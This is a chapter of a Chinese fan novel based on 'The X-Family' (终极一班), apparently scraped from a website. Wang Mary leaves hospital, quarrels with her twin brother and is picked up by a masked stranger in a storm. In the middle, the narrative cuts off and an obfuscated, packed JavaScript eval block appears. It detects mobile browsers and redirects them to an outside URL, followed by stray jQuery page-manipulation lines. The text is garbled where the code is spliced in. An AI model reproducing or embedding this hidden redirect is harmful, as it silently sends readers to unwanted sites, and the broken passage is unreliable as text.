7. 丸辣,遇到站台妖精了
作品:《[终极一班]路人甲是玛丽苏?》 手机那头没了声音,王亚瑟已经挂了电话,她耳朵里只能听见急促的呼吸声。
那是她自己的。
王玛丽想,她大概是打开了潘多拉魔盒,但她并不害怕,甚至有些兴奋,世界的秘密好像在她眼前显现,幸得窥探一角。
她并不知道他现在在别人眼里是怎么样的,如果她照个镜子就能看见眼眸那一闪而过的紫色。
等王玛丽再次清醒时,是被王亚瑟的叫喊声吵醒的,刺鼻的消毒水味在她鼻尖环绕,睁眼便是雪白的天花板,旁边站着三个人。
分别是,来回踱步的汪大东、和医生讨论的王亚瑟、以及时刻关注她的丁小雨。
真好,三剑客有四个人不是很正常嘛。
“医生,她醒了。”
在她眨眼的那一刻,丁小雨朝医生喊道,破天荒显现出焦急的神情,整个人好像都要趴到床边。
看着新出炉的检测报告,医生感叹:“不可思议!”
王亚瑟最为紧张,“医生,是我妹妹有什么问题吗?”
“不是。”医生摇头。
“那是找到病因了?”丁小雨问。
“也不是。”医生还是摇头。
“那是什么?”汪大东迷惑地看着他。
医生冲着他们大喊:“我行医多年居然看不出一点病灶,这难道不可思议吗?”
无语在众人之间蔓延。
“你们两人,把他拉出去。”
王亚瑟说完就靠近病床,看见醒来的王玛丽担心地问:“有没有哪里不舒服?”
“哥,我好困。”她有气无力地回答。
浑身好累,一点力气都没有,好像被抽干能量一样。
摸上她的额头,王亚瑟柔声安抚,“玛丽乖一点,你不能睡了,再睡会生病的。”
“对呀,玛丽小妹妹,你已经睡了123……几乎两天了,自恋狂和我们都要吓死了。”
汪大东一脸后怕地点了点头。
王玛丽有些惊讶,“是吗?我一点感觉也没有诶,还是很困。”
“什么破医院,要不然还是让爸去国外请专家来看看吧。”
王亚瑟听到她这样说就准备给土龙打电话,被王玛丽阻止了,“王亚瑟,你很大惊小怪欸,我一直很能睡啊,之前也检查很多次了,我身体也没什么毛病,这次可能是最近都没怎么补眠……”
“再这样下来你都成睡美人了。”
“哥,少看点书,把脑子都看傻了。”
兄妹俩又开始了互损。
“死丫头,小嘴巴闭起来。”
王玛丽气鼓鼓地不看他,视线扫向汪大东时想到了田欣,“对了,班导怎么样了?”
汪大东笑着说:“她没事,幸亏你告诉我们地方,我们很快就解救了班导,还把那个神经病送医院了。”
感觉到力气回复不少,她举起双手,“我什么时候可以出院!”
“等下就出院,你先躺一下,我去办出院手续。”
王亚瑟和汪大东出去办理手续,留丁小雨来照顾着她。
原本王玛丽还想放松一下,结果旁边的视线太过炽热了,让她不由自主端了起来。
被丁小雨紧盯着,她眨了眨眼睛,奇怪地看着他,“小雨,你脸色怎么这么凝重啊?”
丁小雨摇了摇头,“没事,我只是在想你的身体状况。”
“你就别担心啦,我没事的,你看。”王玛丽直接跳下床,在原地蹦了几下。
“还是小心点吧。”扶住她乱跳的肩膀,虽然知道没事了,但丁小雨还是有些关心则乱。
出院的日子是个好天气,阳光照在身上暖暖的,王玛丽伸了个懒腰,“是自由的气息,呜呼!”
成功回归的王玛丽得到了一段平静的校园生活。
应该算平静。
“啊——我真不会啊,小雨,你就放过我吧,我的脑子不接受数学啊!”
惨叫声自教室传来,王玛丽痛苦地捂着脑袋,看着书本上的数字,眼睛都变成了蚊圈。
“这个很简单的,只要带入这个公式……”
“叮——”
丁小雨还没说完,王玛丽口袋的手机闹钟就响了。
“!小雨下课了,咱们明天再学,我先走啦~”少女脚底抹油似得跑了出去,甚至一路飙起了战力指数,虽然她自己没发觉。
还在教汪大东英语的王亚瑟抬头冲丁小雨说道:“她最近去书店的频率是不是变高了?”
王玛丽最近很不对劲。
这是观察了她一天的王亚瑟发现的。
毕竟光上课别睡觉就已经是天下奇闻。
(王玛丽:喂,我在你眼里到底是什么怎样的人啊!)
准确来说是从书店回来开始,抱着两本漫画书回来,还不准他看,而且破天荒没多说一句话,这简直比太阳西出还要离奇。
“的确,光是上午就已经去了三四次,虽然大部分人没怎么发现,但她看鞋上的泥土就知道。”
那家书店最近装修,周围一圈都是水泥,王玛丽的黑色鞋子沾上就很显眼了。
“我是不会相信她改过自新,发奋图强的。”
“或许,书店有她想见的人?”
丁小雨总是能一针见血,幸好王玛丽此时不在,不然能露馅七八次。
“想见的人?”王亚瑟重复了几句,好像想到了什么,神色一变,“该死,不会是……”
不过其实有一点他们是误会了,王玛丽起码有一半的原因是想再找找有没有新的金笔点龙。
走在路上,她翻开手机,聊天页面还停留在她发出的消息上。
——你好?
土鳖的聊天方式在王玛丽这里展现的淋漓尽致,连她回头看都觉得尴尬,默默收起手机遗憾退场。
叮咚。
手机振动起来。
王玛丽连忙拿出来一看。
臭屁老哥:死丫头,人去哪了?
果然不能抱有希望。
被抓回来的王玛丽和其他人坐在断肠人的摊子前,疑似三堂会审。
“你们这样看着我,到底有什么事嘛。”
王亚瑟一改前几天的温柔,冷笑一声,
“先前有班导的事情让你逃过一劫,现在你告诉我这是什么。”
王亚瑟从背后一掏,一个巨大的粉色爱心盒子被他放到摊子上。
右下角落款还是:
——亲亲玛丽宝贝
“哇哦,王玛丽小朋友,没想到你男朋友这么浪漫啊。”断肠人发出感叹,时光匆匆,岁月催人老啊,现在的小朋友都这么有情趣了。
王玛丽:!?
断肠人!你要毁了我吗!
请苍天,辨忠奸!
面对三道紧逼的视线和一道打趣的目光,王玛丽慌张地看着他们,“不是,这什么?”
“那我要问问你了,这是什么,为什么落款是‘亲亲玛丽宝贝’?你背着我谈恋爱了?”
一连串的问题打得王玛丽措不及防,吓得她直接把那张卡片撕下来左看右看。
这个字迹……她怎么感觉有点眼熟啊。
王玛丽努力回忆。
王玛丽回忆失败。
“什么宝贝,恶心心!”
卡片被她丢在身后,没注意到旁边丁小雨的视线有那么一刻看着变成空中抛物线的小卡片。
“为什么我要和你在大庭广众下聊这些,况且我的礼物为什么在你这!”
王亚瑟没有被她转移注意,“哼,某些人的东西不是一直堆在我那里吗,你最好给我解释清楚,不然我把你腿打断。”
“赤裸裸的嫉妒!说不定是我的哪个爱慕者啊,我天天跟着你们要真有男朋友你们还不知道?”
王玛丽恨不得跪下来求他们不要污蔑她,她连crush的消息都没收到一条,就这么水灵灵地给她无中生有一个男朋友。
这河里吗?
“那你天天看着手机是干什么?”
“我打小游戏不行吗,王亚瑟你很八婆欸。”
“那你现在把它打开。”王亚瑟不想再和她扯这些,他真的挺好奇里面装的是什么。
她怀疑地看着他,“你居然没看?”
成功得到了王亚瑟一个白眼,“不要把你哥想得那么变态好嘛。”
“不是吗?”王玛丽真诚地问道。
王亚瑟最终说出了实情:“……我打不开。”
哈,她就知道。
王玛丽把手放到盒盖上一使劲,在四人的视线中尴尬地笑了笑,松开手,“不好意思,我好像也打不开。”
“我来试试吧。”丁小雨把手放到盒子上,甚至飙起了战力指数。
但是那个礼物盒毫发无损。
“小雨,让我来。”
汪大东一把抢过盒子开始硬掰。
毫无疑问,凭借汪大东极强的实力。
他……成功的失败了。
“什么破盒子啊,怎么也打不开。”
汪大东有些气急败坏,摇着盒子。
断肠人在旁边沉思有了别的想法,高深莫测地看着王玛丽,“或许不是打不开,只是时候未到,王玛丽小朋友这个东西在未来可能有大用处。”
“哼,王玛丽,从现在开始你不许再去书店了。”
得不到答案,王亚瑟决定杜绝一切可能。
王玛丽奋力斗争:“凭什么!”
“你要的漫画书以后会直接送到家里。”
“我不要,我自己可以去买,干嘛要弄这么麻烦。”
王玛丽觉得她哥脑子有点小问题,但没事,影响不大。
“书店到底有谁啊,你一天去个三四次?”王亚瑟终于忍不住问了出来,那眉头都能夹死苍蝇了。
这件事不仅他很关心,另一个一直没有说话的人也很在意。
“王亚瑟,我也有基本隐私吧,你别疑神疑鬼好不好,像个老妈子。”
王玛丽无语地看着他,虽然的确有点小事情瞒着,但人有小秘密不是人之常情嘛。
“难道不是吗,从小到大,难道不是我代替老妈在照顾你吗?”这个好像戳到王亚瑟某种心思了,他逐渐大声。
“我也没需要你这么伟大的牺牲啊。”
反驳的话王玛丽是张口就来,她有些生气,说话这么冲干嘛,她又没要求他变成老妈。
“王玛丽你这是什么话,我难道不是在乎你嘛,我是你哥!有义务照顾你,更何况你忘了小时候那件事……你这样说简直和老妈一样自私!”
兄妹俩的吵架永远一点小事,然后再开始翻旧账,上头的时候都不知道从嘴巴里到底吐出了什么。
王亚瑟的话让她一愣,眼珠微微颤动,细长浓密的睫毛好像挂起某种晶莹剔透的液体。
“自恋狂,说话别这么冲嘛,玛丽小妹妹自恋狂只是太担心你了,之前在医院他都整宿整宿没合眼呢。”
汪大东见两人吵得越来越凶,连忙挤到中间打圆场。
王玛丽紧咬着下唇没说话,趁着王亚瑟没反应过来时跑得没影。
“玛丽!”
台北的暴雨突如其来。
王玛丽独自蹲在车站看着青草气息的小部分泥土,雨水重重落下,连带嫩幼的芽儿颤动着。她的脚有些酸,突然有些后悔和王亚瑟闹脾气,可是手机已经显示着电量不足,只希望笨蛋哥哥可以早点察觉到不对吧。
想着在断肠人摊子前吵架的场景,王玛丽沮丧地看着手机挂坠里是小照片,心里还是有些委屈。
随着淅淅沥沥的雨声越来越大,手机也没了信号,在其中夹杂着轻微惨叫声,她努力辨别,在车台前面几百米的巷口。
忽明忽灭,漆黑的夜晚,朦胧细雨,再配着这样的场景,王玛丽不自觉想到了恐怖片,她原本踏出的半截脚果断收了回去。
巷口的动静没有持续很久,至少在王玛丽等车的过程中,车没来,人却出来了。
出来的人穿着件黑色卫衣,把全身裹得严严实实,脸上还戴着个白色面具。
撑着把伞正往站台走来。
视线触及面具下的眼睛时,她似被烫到,飞快向下,脑中的雷达疯狂闹铃,她的头皮都发麻了一大块。昏暗的灯光下,细长的影子压迫感十足,纷飞的细雨拍打着她的脸,触碰着她的头发。
郊区的怪谈一向很多,哪怕王玛丽不怎么关注也听过不少。
比如,站台妖精,比鬼还可怕,专门等待搭车的行人,然后上前攀谈,最后把人吃掉留下皮囊,取代别人的身份,直到厌弃。
周而复始。
她不敢想了,拍着没有信号的手机,界面还停留和王亚瑟吵架中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391973|168570||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
从小到大,她们三天一小吵,五天一大吵的,王玛丽不知道其他兄妹是怎么相处的,但她和王亚瑟,对对方是又爱又恨。
他们拥有最亲密的关系,从诞生就连接着同样的脐带,在一个羊水中长大。
都说双胞胎是彼此的半生。王玛丽虽然时常嘴硬,但也不得不承认,她不能没有王亚瑟,即使吵得再凶再狠,可只要对方露出一丝受伤,怒气就凭空消散了。
有的时候因为了解对方痛处所以伤害也是最大的,王亚瑟在她童年里承担了很大一部分,从牙牙学语,到现在的样子,都和王亚瑟脱不了关系。
他们的妈妈很早以前就离开了土龙。一个内地的普通人,遇上了可能对她来说高不可攀的人,她最大的勇敢就是离开了他,追着自己的梦,哪怕两个孩子挡在她面前,也可以毫不犹豫的放弃。
“同学,雷雨天气,末班车不会来了。”
低哑的声音打断了王玛丽的回忆,她抬眸对上一副白色的面具,眼前的人几乎与黑夜融为一体,只有脸上的一抹白色,正蹲在她面前和她对视。
王玛丽是标准的颜控患者,对人的态度取决于对面长得有多好看,但现在的情况可能不属于其中。
“谢谢提醒,我等雨停了就走。”
天生的第六感让她不自觉礼貌起来,神情没变,下巴抵在膝盖上,不再看这位可疑的陌生人。
雨水溅在她的脸颊上,把黑色的发丝粘连在一起贴在上面,王玛丽低垂地脑袋把目光看向某个方向。
宽敞的公路没有车的影子,甚至连光的没有。
“我送你吧。”耳畔的声音继续响起。
两个人蹲在站台前像两个可怜的流浪汉,白面人好似大发慈悲,但这只让王玛丽更加警惕。
“为什么?”她问。
世界好人要是很多又怎么会有人性本恶这句话。
“因为我是乐于助人的好人,不想看见你这样的美少女可怜巴巴地蹲在这里,这雨一时半会停不了,如果不管,你会被困在这里一夜的。”
随着话语,雨伞往她那边倾斜着,落下的水珠形成一道水幕,好似包裹着她们。
王玛丽没有相信他的鬼话。
“你的扮相看上去可不像一个好人。”
“以貌取人不可取。”
白面人指了指脸上的面具,仔细瞧着还有些许瘆人。
王玛丽装作认真想了想,真诚地看着他,“可我是颜控,你把面具摘下来让我看看,我就让你送我。”
“怎么想,吃亏的都是我啊,你可是被施舍的那方,怎么这么无理取闹。”
没有预想的翻脸,白面人仍然陪着她蹲着,语气有些为难,但仔细听还藏着一丝笑意。
“那你就不要管我了,我会等着那个接受我无理取闹的人来。”
谈及无理取闹,她又想起来王亚瑟,面容冷了下来。
“那可不行,我就想帮你。”
白面人拿出手机发了些什么,没过多久,原本安静地只剩雨声的站台出现了一辆车。
他动了动头,“上车吧。”
看着黑色的小轿车,王玛丽问出一个很傻的问题:“你是传说中的站台妖精吗?”
轻盈地浅笑从他喉咙里挤出,他哑着声线,“对呀,来吧妖精要吃掉你了。”
王玛丽翻了个白眼,“喂,你当我三岁小孩吗?”
“那这位聪明的小姐,上车吧。”
白面人主动打开车门,雨伞倾斜着,把雨水连成一条线,她在雨幕中听见了自己的心跳声。
这是一个很危险的决定,但王玛丽没有理由拒绝,她需要离开这场雨,哪怕面前的人是个坏人。
她揉了揉有些麻木的双腿。
“腿麻了?”
她面一僵,视线里出现一双脚。
悬空的双腿让她习惯性勾住眼前的脖子,眼底划过一丝凌厉,手掌在他脖间蓄势待发。
见他没有多余的动作才勉强松开拳头,望着那副白色面具,王玛丽心一动。
像似察觉到她的想法,白面人抢先说道:“如果我是你就不会这么做。”
“少自作多情了,我才不会那么没礼貌。”她把手里的痒意压下,视线乱窜,一会儿盯着棕色皮鞋上的红色小花,一会儿又盯着头顶深色的伞面。
然后,王玛丽听见他问:“你家在哪里?”
肚子里的气还没消,王玛丽不准备回去,“我不回去,你把我放有缘书店就行了。”
“有缘书店?”白面人坐在副座重复了一遍书店的名字,面具下的睫毛微颤。
“不知道吗?”她用另类的眼神打量着他,好像只要他嘴里说出“不知道”,就能鄙视死他。
“知道,不过这个点应该关门了吧。”
她也反应过来,肩膀一下子垂了下去,靠在软座上,随意说道:“也对欸,那你随便找个街头把我放了吧。”
白面人没有说话,只是对司机说了一个位置,开始闭目养神。
掠过有些熟悉的场景,王玛丽没有多想,车窗外的雨露敲打着,以往通明的景象因为一场暴雨而回归寂静。
车停在一个还亮着的酒店前。
“这个地方是?”
白面人解释着,“黑猫酒店。”
王玛丽当然眼熟,这不就是遇到crush的地方嘛,但是酒店,看着白面人的后脑勺,提醒着“我不蹦迪。”
“这是我的地盘。”白面人回头盯着她的眼睛,试图发现她隐藏的害怕。
“哦,我这是羊入虎穴了?”
王玛丽捧哏着,神色没变。
“你这种羊,白给我我都不要,下车吧。”白面人笑了声,先一步下了车。
虽然这个白面人看上去不像好人,但挺绅士的,给她拉车门又打伞,还算体贴。
里面只有零零碎碎几个人,好像还在打扑克牌,吵吵闹闹的,看见他们进来就齐刷刷地喊了声,“老大”。
王玛丽瞧了一眼变了气场的白面人,“我想给手机充个电。”
“可以。”他的手指在吧台敲了敲。
很快就有人递了充电线。
“把头发擦一下吧。”
白色的毛巾递到她面前,王玛丽犹豫了一秒,果断侧头擦上头发。
有便宜不占是傻瓜。